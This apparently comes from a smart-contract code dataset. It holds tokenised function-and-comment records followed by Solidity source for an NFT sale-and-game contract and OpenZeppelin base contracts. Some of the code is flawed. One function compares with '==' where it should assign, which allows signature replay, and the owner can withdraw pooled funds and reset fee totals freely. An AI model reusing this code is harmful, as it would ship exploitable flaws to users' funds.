-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/421613/0xA76ED43E24c565E46e0592a936a58DBBA8fF30FF/sources/project_/contracts/QuizBattle.sol
|
transfer reward save score to battle session
|
function SubmitQuestion(
bytes32[] memory hashedMessages,
uint8[] memory v,
bytes32[] memory r,
bytes32[] memory s)
public isHeroNFTJoinGame returns(uint256 totalCorrectAnswer, uint256 amountTokenReward)
{
address user = _msgSender();
UserBattleData storage battleDataOfUser = UserBattle[user];
require(block.number <= battleDataOfUser.timestampEnd, "Error SubmitQuestion: submission timeout");
require(battleDataOfUser.checkSubmit == false, "Error SubmitQuestion: submited");
battleDataOfUser.checkSubmit = true;
totalCorrectAnswer = 0;
for(uint256 index = 0; index < TotalQuestionOnBattle; index++)
{
if(CheckedSignature[hashedMessages[index]] == false &&
VerifySignature(
AddressToCheckTheAnswer[index],
hashedMessages[index],
v[index],
r[index],
s[index]) == true)
{
CheckedSignature[hashedMessages[index]] == true;
totalCorrectAnswer = totalCorrectAnswer.add(1);
}
}
if(totalCorrectAnswer > 0)
{
uint256 CoefficientBonusReward = GetCoefficientBonusReward(block.timestamp.sub(battleDataOfUser.timestampStart));
amountTokenReward = totalCorrectAnswer.mul(AmountTokenAnswerCorrect).mul(CoefficientBonusReward).div(1000);
TokenReward.transfer(user, amountTokenReward);
BattleSessionContract.AddScoreUserBattleSession(user, amountTokenReward);
}
emit OnSubmitQuestion(user, battleDataOfUser.timestampStart, block.timestamp, totalCorrectAnswer, amountTokenReward);
}
| 11,567,199 |
[
1,
13866,
19890,
1923,
4462,
358,
324,
4558,
298,
1339,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
17320,
11665,
12,
203,
3639,
1731,
1578,
8526,
3778,
14242,
5058,
16,
7010,
3639,
2254,
28,
8526,
3778,
331,
16,
7010,
3639,
1731,
1578,
8526,
3778,
436,
16,
7010,
3639,
1731,
1578,
8526,
3778,
272,
13,
203,
565,
1071,
27803,
2439,
50,
4464,
4572,
12496,
1135,
12,
11890,
5034,
2078,
16147,
13203,
16,
2254,
5034,
3844,
1345,
17631,
1060,
13,
203,
565,
288,
203,
3639,
1758,
729,
273,
389,
3576,
12021,
5621,
203,
3639,
2177,
38,
4558,
298,
751,
2502,
324,
4558,
298,
751,
951,
1299,
273,
2177,
38,
4558,
298,
63,
1355,
15533,
203,
203,
3639,
2583,
12,
2629,
18,
2696,
1648,
324,
4558,
298,
751,
951,
1299,
18,
5508,
1638,
16,
315,
668,
17320,
11665,
30,
8515,
2021,
8863,
203,
203,
3639,
2583,
12,
70,
4558,
298,
751,
951,
1299,
18,
1893,
11620,
422,
629,
16,
315,
668,
17320,
11665,
30,
4879,
329,
8863,
203,
3639,
324,
4558,
298,
751,
951,
1299,
18,
1893,
11620,
273,
638,
31,
203,
203,
3639,
2078,
16147,
13203,
273,
374,
31,
203,
203,
3639,
364,
12,
11890,
5034,
770,
273,
374,
31,
770,
411,
10710,
11665,
1398,
38,
4558,
298,
31,
770,
27245,
203,
3639,
288,
203,
5411,
309,
12,
11454,
5374,
63,
2816,
329,
5058,
63,
1615,
13563,
422,
629,
597,
203,
7734,
8553,
5374,
12,
203,
7734,
5267,
18126,
1986,
13203,
63,
1615,
6487,
7010,
7734,
14242,
5058,
63,
1615,
6487,
7010,
7734,
331,
63,
1615,
6487,
7010,
7734,
436,
63,
1615,
6487,
7010,
7734,
272,
63,
1615,
5717,
422,
638,
13,
2
] |
./full_match/1313161554/0x6E682B51F8bb67294B522b75a1E79dDd4502cc94/sources/DonaswapRouter.sol
|
send liquidity to pair
|
IDonaswapPair(pair).transferFrom(msg.sender, pair, liquidity);
| 13,234,774 |
[
1,
4661,
4501,
372,
24237,
358,
3082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
1599,
265,
345,
91,
438,
4154,
12,
6017,
2934,
13866,
1265,
12,
3576,
18,
15330,
16,
3082,
16,
4501,
372,
24237,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
interface IJigsaw1BadgeContract {
function mintFinalPicture(address _account) external ;
function addMinter( address _account) external ;
function removeMinter( address _account) external ;
function bulkMintFinalPicture(address[] memory _accounts) external;
}
contract Jigsaw1 is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using MerkleProof for bytes32[];
using Strings for uint256;
using ECDSA for bytes32;
using SafeMath for uint256;
/// @notice Total Private Sale
uint256 public constant jigsawPresale = 750;
/// @notice Total Fiat Sale
uint256 public constant jigsawFiat = 2000;
/// @notice Total Supply
uint256 public constant jigsawTotal = 5632;
/// @notice allow users to mint up to 2 per wallet during whitelisted sale
uint256 public constant MAX_WHITELISTED_MINTED_NUMBER = 2;
/// @notice allow users to mint up to 10 per wallet
uint256 public constant MAX_MINTED_NUMBER = 10;
/// @notice Token has been minted to the address
mapping(address => uint256) public hasMinted;
/// @notice Address can mint the private sale i.e. whitelisted addresses
mapping(address => bool) public privateSaleEntries;
/// @notice Token Price
uint256 public price = 0.11 ether;
/// below list of properties related to final nft mint on claimReward.
/// @notice maximum final puzzle picture count
address public finalBadgeContractAddress;
uint256 public MAX_FINAL_PUZZLE_PICTURE_NUMBER;
address[] public finalOwners;
uint256[][] public finalOwnersTokenIds ;
uint256 public finalPictureTokenIds;
mapping(address => uint256) public hasReceivedFinalPictureNft;
string private _tokenFinalPictureBaseURI = '';
/// @notice Token Base URI
string private _tokenBaseURI = '';
/// @notice Community Pool - 20% of the mint fee
uint256 public constant communityRatio = 2000;
/// @notice Community Merkle Root
bytes32 public communityRoot;
/// @notice Community Reward Claimed
mapping(address => bool) public isClaimedCommunity;
/// @notice Charity Pool - 20% of the mint fee
uint256 public constant charityRatio = 2000;
/// @notice Charity, Vote amount, Pool address, Reward ratio
struct CharityInfo {
bytes32 charity;
uint256 vote;
address payable pool;
uint256 ratio;
}
/// @notice Charity vote infos
CharityInfo[] public charityInfos;
/// @notice Bored Puzzles - 60% of the mint fee
uint256 public constant boredRatio = 6000;
/// @notice Bored Puzzles Address
address payable public boredAddress;
/// @notice Count of Public Saled Tokens
uint256 public publicCounter;
/// @notice Count of Fiat Saled Tokens
uint256 public fiatCounter;
/// @notice fiatFee is the amount of ETH received on fiat sale
uint256 public fiatFee;
/// @notice Count of Private Saled Tokens
uint256 public privateCounter;
/// @notice Start timestamp for the Private Sale
uint256 public privateSaleBegin = 9999999990;
/// @notice Start timestamp for the Fiat Sale
uint256 public fiatSaleBegin = 9999999991;
/// @notice Start timestamp for the Public Sale
uint256 public publicSaleBegin = 9999999992;
/// @notice Game period
uint256 public constant period = 5 days;
/// @notice Game Started At
uint256 public startedAt;
/// @notice Game Ended At
uint256 public endedAt;
/// @notice Editable for Token Base URI
bool public editable;
/// @notice Total Fee
uint256 public totalFee;
/// @notice Estimated Gas for Mint
uint256 public estimatedGasForMint = 0;
/// claim you nft properties
/// @notice Events
event StartGame(uint256 indexed at);
event EndGame(uint256 indexed at);
event UploadedCommunityRoot();
event ClaimedCommunity(address indexed account, uint256 amount);
event ClaimedCommunityNFT(address indexed account, uint256 tokenId);
event ClaimedCharity(
bytes32 indexed charity,
address indexed pool,
uint256 amount
);
modifier onlyEditable() {
require(editable, 'METADATA_FUNCTIONS_LOCKED');
_;
}
constructor() ERC721('Bored Puzzles Jigsaw1', 'BPJ1') {
editable = true;
}
function safeTransferETH(address payable _to, uint256 _amount)
internal
returns (bool success)
{
if (_amount > address(this).balance) {
(success, ) = _to.call{value: address(this).balance}('');
} else {
(success, ) = _to.call{value: _amount}('');
}
}
///--------------------------------------------------------
/// Public Sale
/// Fiat Sale
/// Private Sale
///--------------------------------------------------------
/**
* @notice Mint on Public Sale
*/
function mint(uint256 _amount) external payable {
require(
block.timestamp >= publicSaleBegin || fiatCounter >= jigsawFiat,
'ER: Public sale is not started'
);
require(totalSupply()+ _amount <= jigsawTotal, 'ER: The sale is sold out');
require(
hasMinted[msg.sender] + _amount <= MAX_MINTED_NUMBER,
'ER: You can not mint more than maximum allowed tokens'
);
// Calculate Mint Fee with Gas Substraction
uint256 mintFee = price*_amount - tx.gasprice * estimatedGasForMint;
require(mintFee <= msg.value, 'ER: Not enough ETH');
/// @notice Return any ETH to be refunded
uint256 refund = msg.value - mintFee;
if (refund > 0) {
require(
safeTransferETH(payable(msg.sender), refund),
'ER: Return any ETH to be refunded'
);
}
publicCounter += _amount;
totalFee += mintFee;
hasMinted[msg.sender] += _amount;
for(uint256 i = 0 ; i < _amount ; i += 1){
_safeMint(msg.sender, totalSupply() + 1);
}
}
/**
* @notice Admin can mint to the users for Fiat Sale
* @param _to Users wallet addresses
*/
function safeMint(address[] memory _to, uint256[] memory _nftCount)
external
payable
onlyOwner{
require(
block.timestamp >= fiatSaleBegin || privateCounter >= jigsawPresale,
'ER: Fiat sale is not started'
);
require(
block.timestamp < publicSaleBegin,
'ER: Fiat sale is currently closed'
);
uint256 totalAccounts = _to.length;
for (uint256 i = 0; i < totalAccounts; i++) {
address to = _to[i];
uint256 totalTokensToMint = _nftCount[i];
//minting multiple tokens for individual
for (uint256 j = 0; j < totalTokensToMint; j++) {
if (hasMinted[to] < MAX_MINTED_NUMBER) {
require(
totalSupply() < jigsawTotal,
'ER: The sale is sold out'
);
require(
fiatCounter < jigsawFiat,
'ER: Not enough Jigsaws left for the fiat sale'
);
fiatCounter++;
hasMinted[to] += 1;
//as tx.gasprice is price for the
uint256 mintFee = price - tx.gasprice * estimatedGasForMint;
totalFee += mintFee;
fiatFee += price;
_safeMint(to, totalSupply() + 1);
} else break;
}
}
// totalFee -= tx.gasprice * estimatedGasForMint;
// totalFee += msg.value;
}
/**
* @notice Mint on Private Sale i.e. during whitelist sale period
*/
function privateMint(uint256 _amount) external payable {
require(
block.timestamp >= privateSaleBegin,
'ER: Private sale is not started'
);
require(
block.timestamp < fiatSaleBegin,
'ER: Private sale is currently closed'
);
require(
privateSaleEntries[msg.sender],
'ER: You are not qualified for the presale'
);
require(totalSupply() + _amount <= jigsawTotal, 'ER: The sale is sold out');
require(
privateCounter + _amount <= jigsawPresale,
'ER: Not enough Jigsaws left for the presale'
);
require(
hasMinted[msg.sender] + _amount <= MAX_WHITELISTED_MINTED_NUMBER,
'ER: You have already minted maximum for whitelisted sale'
);
// Calculate Mint Fee with Gas Substraction
uint256 mintFee = price*_amount - tx.gasprice * estimatedGasForMint;
require(mintFee <= msg.value, 'ER: Not enough ETH');
/// @notice Return any ETH to be refunded
uint256 refund = msg.value - mintFee;
if (refund > 0) {
require(
safeTransferETH(payable(msg.sender), refund),
'ER: Return any ETH to be refunded'
);
}
privateCounter += _amount;
totalFee += mintFee;
hasMinted[msg.sender] += _amount;
for(uint256 i = 0 ; i < _amount ; i += 1){
_safeMint(msg.sender, totalSupply() + 1);
}
}
///--------------------------------------------------------
/// Insert private buyers
/// Remove private buyers
///--------------------------------------------------------
/**
* @notice Admin can insert the addresses to mint the presale
* @param privateEntries Addresses for the presale
*/
function insertPrivateSalers(address[] calldata privateEntries)
external
onlyOwner
{
for (uint256 i = 0; i < privateEntries.length; i++) {
require(privateEntries[i] != address(0), 'ER: Null Address');
require(
!privateSaleEntries[privateEntries[i]],
'ER: Duplicate Entry'
);
privateSaleEntries[privateEntries[i]] = true;
}
}
/**
* @notice Admin can stop the addresses to not mint the presale
* @param privateEntries Addresses for the non-presale
*/
function removePrivateSalers(address[] calldata privateEntries)
external
onlyOwner
{
for (uint256 i = 0; i < privateEntries.length; i++) {
require(privateEntries[i] != address(0), 'ER: Null Address');
privateSaleEntries[privateEntries[i]] = false;
}
}
///--------------------------------------------------------
/// Sales Begin Timestamp
/// Start Game
/// End Game
///--------------------------------------------------------
/**
* @notice Admin can set the privateSaleBegin, fiatSaleBegin, publicSaleBegin timestamp
* @param _privateSaleBegin Timestamp to begin the private sale
* @param _fiatSaleBegin Timestamp to begin the fiat sale
* @param _publicSaleBegin Timestamp to begin the public sale
*/
function setSalesBegin(
uint256 _privateSaleBegin,
uint256 _fiatSaleBegin,
uint256 _publicSaleBegin) external onlyOwner {
require(
_privateSaleBegin < _fiatSaleBegin &&
_fiatSaleBegin < _publicSaleBegin,
'ER: Invalid timestamp for sales'
);
privateSaleBegin = _privateSaleBegin;
fiatSaleBegin = _fiatSaleBegin;
publicSaleBegin = _publicSaleBegin;
}
function getSalesBeginTimestamp()
external
view
returns (uint256,uint256,uint256,uint256) {
return (
privateSaleBegin,
fiatSaleBegin,
publicSaleBegin,
block.timestamp
);
}
/**
* @notice Admin can start the game
* @param _boredAddress Bored Puzzles address
*/
function startGame(address payable _boredAddress) external onlyOwner {
require(
_boredAddress != address(0),
'ER: Invalid Bored Puzzle address'
);
require(startedAt == 0, 'ER: Game is already began');
startedAt = block.timestamp;
boredAddress = _boredAddress;
uint256 amount = ((totalFee * boredRatio) -fiatFee) / 1e4;
require(
safeTransferETH(boredAddress, amount),
'ER: ETH transfer to Bored Puzzles failed'
);
emit StartGame(startedAt);
}
/**
* @notice Admin can end the game
*/
function endGame() external onlyOwner {
require(startedAt > 0, 'ER: Game is not started yet');
require(endedAt == 0, 'ER: Game is has already ended');
endedAt = block.timestamp;
(address[] memory _owners, uint256[][] memory _tokenIds) = grabAllOwners();
setSnapshotFinalPlayers(_owners, _tokenIds);
emit EndGame(endedAt);
airdropFinalPictureToFinalOwners();
}
function setSnapshotFinalPlayers(address[] memory _owners, uint256[][] memory _tokenIds) internal {
MAX_FINAL_PUZZLE_PICTURE_NUMBER = _owners.length;
finalOwners = _owners;
finalOwnersTokenIds = _tokenIds;
}
function getSnapshotFinalPlayers() public view returns (address[] memory, uint256[][] memory) {
return (finalOwners, finalOwnersTokenIds);
}
///--------------------------------------------------------
/// Upload Coummunity Merkle Root
/// Claim the Community Reward
/// Upload Charity Vote Result
///--------------------------------------------------------
/**
* @notice Admin can upload the Community root
* @param _communityRoot Community Distribution Merkle Root
*/
function uploadCommunityRoot(bytes32 _communityRoot) external onlyOwner {
require(endedAt > 0, 'ER: Game is not ended yet');
require(
communityRoot == bytes32(0),
'ER: Community Root is already set'
);
communityRoot = _communityRoot;
emit UploadedCommunityRoot();
}
function setGameStartandEndTime(
uint256 _startedAt,
uint256 _endedAt,
uint256 _totalFee ) public onlyOwner {
startedAt = _startedAt;
endedAt = _endedAt;
totalFee = _totalFee;
}
/**
@notice Calculates communityAmount and charityAmount, used in internal calls.
*/
function getCommunityAmount()
public
view
returns (uint256 _communityAmount, uint256 _charityAmount){
uint256 delayPeriod;
if ((endedAt - startedAt) > period) {
delayPeriod = (endedAt - startedAt) - period;
}
uint256 delaySeconds = delayPeriod % 1 days;
uint256 delayDays = delayPeriod / 1 days;
uint256 transferenceAmount;
uint256 tempCommunityAmount = (totalFee * communityRatio) / 1e4;
if (delayPeriod >= 0 days && delayPeriod < 1 days) {
transferenceAmount =
(totalFee * communityRatio * delaySeconds * 500) /
(1 days * 1e8);
} else if (delayPeriod >= 1 days && delayPeriod < 2 days) {
transferenceAmount = (totalFee * communityRatio * 500) / (1e8);
transferenceAmount +=
(totalFee * communityRatio * delaySeconds * 1000) /
(1 days * 1e8);
} else {
transferenceAmount = (totalFee * communityRatio * 500) / (1e8);
transferenceAmount += (totalFee * communityRatio * 1000) / (1e8);
transferenceAmount +=
(totalFee *
communityRatio *
1500 *
((delayDays.sub(2) * 86400).add(delaySeconds))) /
(1 days * 1e8);
}
uint256 communityAmount = tempCommunityAmount - transferenceAmount;
uint256 charityAmount = (totalFee * (communityRatio + charityRatio)) /
1e4 -
communityAmount;
return (communityAmount, charityAmount);
}
/**
@notice Claim the community reward
@param _account Receiver address
@param _percent Reward percent
@param _proof Merkle proof data
*/
function claimCommunity(
address _account,
uint256 _percent,
bytes32[] memory _proof
) external {
require(endedAt > 0, 'ER: Game is not ended yet');
require(!isClaimedCommunity[_account], 'ER: Community claimed already');
bytes32 leaf = keccak256(abi.encodePacked(_account, _percent));
require(MerkleProof.verify(_proof, communityRoot, leaf), "ER: Community claim wrong proof");
(uint256 communityAmount, ) = getCommunityAmount();
uint256 amount = (communityAmount * _percent) / 1e4;
isClaimedCommunity[_account] = true;
if (safeTransferETH(payable(_account), amount)) {
emit ClaimedCommunity(_account, amount);
}
}
/**
@notice Mint final pictures to owners on endGame.
*/
function airdropFinalPictureToFinalOwners() internal {
require(endedAt > 0, 'ER: Game has not ended yet');
// require(isAccountWhitelisted(_account), 'ER: You are not authorized to get final picture NFT');
require(
finalPictureTokenIds + finalOwners.length <= MAX_FINAL_PUZZLE_PICTURE_NUMBER,
'ER: Final puzzle pictures exceeded quota'
);
finalPictureTokenIds += MAX_FINAL_PUZZLE_PICTURE_NUMBER ;
IJigsaw1BadgeContract badgeContract = IJigsaw1BadgeContract(finalBadgeContractAddress);
badgeContract.bulkMintFinalPicture(finalOwners);
}
//it checks if account is whitelisted to get the final nft picture nft on claim rewards
function isAccountWhitelisted(address _account) internal view returns (bool) {
for(uint256 i = 0; i < finalOwners.length ; i++){
if(finalOwners[i] == _account) return true;
}
return false;
}
/**
* @notice Admin can upload the Charity vote result
* @param _charityInfos Charity vote result
*/
function uploadCharityInfos(CharityInfo[] memory _charityInfos)
external
onlyOwner {
require(endedAt > 0, 'ER: Game is not ended yet');
require(_charityInfos.length > 0, 'ER: Invalid Charity Info');
require(charityInfos.length == 0, 'Er: Charity Info is already set');
(, uint256 charityAmount) = getCommunityAmount();
uint256 maxVote;
uint256 count;
uint256 length = _charityInfos.length;
for (uint256 i = 0; i < length; i++) {
uint256 vote = _charityInfos[i].vote;
if (maxVote == vote) {
count++;
} else if (maxVote < vote) {
maxVote = vote;
count = 1;
}
}
for (uint256 i = 0; i < length; i++) {
CharityInfo memory info = _charityInfos[i];
if (info.vote == maxVote) {
info.ratio = 1e4 / count;
uint256 amount = charityAmount / count;
if (safeTransferETH(info.pool, amount)) {
emit ClaimedCharity(info.charity, info.pool, amount);
}
} else {
info.ratio = 0;
}
charityInfos.push(info);
}
}
///--------------------------------------------------------
/// Token Editable
/// Token BaseURI
/// Token Mint Gas
///--------------------------------------------------------
/**
* @notice Admin can set price of nft
* @param _amount is latest price of nft
*/
function setPrice(uint256 _amount) external onlyOwner {
price = _amount;
}
/**
* @notice Admin can enable/disable the editable
* @param _editable Can Edit
*/
function setEditable(bool _editable) external onlyOwner {
editable = _editable;
}
/**
* @notice Admin can set the Token Base URI but it should be editable
* @param _URI Token Base URI
*/
function setBaseURI(string memory _URI) external onlyOwner onlyEditable {
_tokenBaseURI = _URI;
}
function getBaseURI() external view returns (string memory) {
return _baseURI();
}
// get baseURI
function _baseURI() internal view virtual override returns (string memory) {
return _tokenBaseURI;
}
/**
* @notice Admin can set finalBadgeContractAddress
* @param _add as address of finalBadgeContractAddress
*/
function setFinalBadgeContractAddress(address _add)
external
onlyOwner
{
finalBadgeContractAddress = _add;
}
/**
* @notice Admin can update the estimated Gas for Mint
* @param _estimatedGasForMint Can Edit
*/
function setEstmatedGasForMint(uint256 _estimatedGasForMint)
external
onlyOwner
{
estimatedGasForMint = _estimatedGasForMint;
}
///--------------------------------------------------------
/// View functions
///--------------------------------------------------------
/**
* @notice Each token's URI
* @param tokenId Token ID
*/
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
require(_exists(tokenId), 'Cannot query non-existent token');
if (tokenId <= jigsawTotal)
return
string(
abi.encodePacked(_baseURI(), tokenId.toString(), '.json')
);
else return 'ER: Not a valid token';
}
/**
* @notice Get list of owners and corresponding list of owner tokens
*/
function grabAllOwners()
public
view
returns (address[] memory, uint256[][] memory)
{
uint256 ts = totalSupply();
address[] memory owners = new address[](ts);
uint256[][] memory tokens = new uint256[][](ts);
//NOTE: current func might fail if used dynamic generated long tokenIds
// bool[] memory tempTokenIds = new bool[](jigsawTotal + MAX_FINAL_PUZZLE_PICTURE_NUMBER);
bool[] memory tempTokenIds = new bool[](jigsawTotal);
uint256 userCounterIndex = 0;
for (uint256 i = 0; i < totalSupply(); i++) {
uint256 tempTokenId = tokenByIndex(i);
address tempOwner = ownerOf(tempTokenId);
uint256 bal = balanceOf(tempOwner);
if (tempTokenIds[tempTokenId] != true) {
uint256[] memory tempIds = new uint256[](bal);
for (uint256 j = 0; j < bal; j++) {
uint256 tId = tokenOfOwnerByIndex(tempOwner, j);
tempIds[j] = tId;
tempTokenIds[tId] = true;
}
owners[userCounterIndex] = tempOwner;
tokens[userCounterIndex] = tempIds;
userCounterIndex += 1;
}
}
address[] memory owners1 = new address[](userCounterIndex);
uint256[][] memory tokens1 = new uint256[][](userCounterIndex);
for (uint256 i = 0; i < userCounterIndex; i++) {
owners1[i] = owners[i];
tokens1[i] = tokens[i];
}
return (owners1, tokens1);
}
//owner can withdraw the amount from the SC balance. pass 500 as args for 5%.
function withdraw(address _address, uint256 percentage) external onlyOwner {
// require(startedAt > 0, 'ER: Cant withdraw as game has not started yet');
uint256 amount = address(this).balance * percentage / 1e4;
(bool success, ) = payable(_address).call{value: amount}("");
require(success, "Withdraw amount failed");
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
